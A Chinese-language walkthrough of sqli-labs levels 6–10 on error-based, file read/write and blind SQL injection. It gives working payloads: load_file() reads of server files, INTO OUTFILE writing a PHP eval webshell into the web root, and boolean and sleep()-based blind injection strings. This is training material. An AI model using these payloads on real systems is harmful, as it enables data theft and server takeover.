#Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入
与第5关类似,只不过这一关使用的是 ""的方式闭合字符串
我们只需要将?id=2’ 改为 ?id=2"即可
#Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
发现注释符被过滤了!
报错提醒使用file权限
- 必须要权限读取且文件必须完全可读
and (select count(*) from mysql.user)>0
如果返回正常,说明有读写权限。- 欲读取文件必须位于服务器上
- 必须指定文件完整路径 //可以想办法提交错误的Query让程序报错获得路径
- 欲读取文件必须小于 max_allowed_packet
####用法:
- union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
“char(99,58,47,98,111,111,116,46,105,110,105)”就是“c:/boot.ini”的ASCII代码 - union select 1,1,1,load_file(0x633a2f626f6f742e696e69)
“c:/boot.ini”的16进制是“0x633a2f626f6f742e696e69” - union select 1,1,1,load_file(c:\boot.ini)
注意:路径里的/用 \代替
SELECT…INTO OUTFILE ‘file_name’
可以把被选择的行写入一个文件中。该文件被创建到服务器主机上,因此您必须拥有FILE权限,才能使用此语法。file_name不能是一个已经存在的文件,因为同名文件不能被覆盖。
有两种利用方式:
- Select ‘<?php @eval($_post[“mima”])?>’ into outfile “c:\phpnow\htdocs\test.php” //即直接将select内容导入文件中,但这里需要注意特殊符号被转义。尝试使用一句话木马。
- Select version() Into outfile “c:\phpnow\htdocs\test.php” LINES TERMINATED BY 0x16进制文件 //本意是行结尾时要使用Lines terminated by 后面的内容,通常为’/r/n’,我们在BY后面添加自己的16进制文件
#Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
盲注
又分为了以下三种:
1.布尔型盲注:根据页面返回的真假来判断的即为布尔型盲注
2.时间型盲注:根据页面返回的时间来判断的即为时间型盲注
3.报错型盲注:根据页面返回的对错来判断的即为报错型盲注
?id=1’ and left((select database()),1)=‘s’–+ 判断数据库名
库名长度可使用?id=1’ and length(database())=8–+ 判断,同理表名字,段名等。
最后得到库名?id=1’ and left((select database()),8)=‘security’–+
#Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注
无论这么注入回显总是You are in,故考虑时间型注入
?id=1' and sleep(3) --+
发现有延迟,则注入测试成功
IF(expr1,expr2,expr3)
如果expr1成立则返回expr2,否则返回expr3
?id=1' and if(length(database())=4 , sleep(3), 1) --+
#Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
基于时间的双引号盲注,只要把上一题Less-9的单引号改成双引号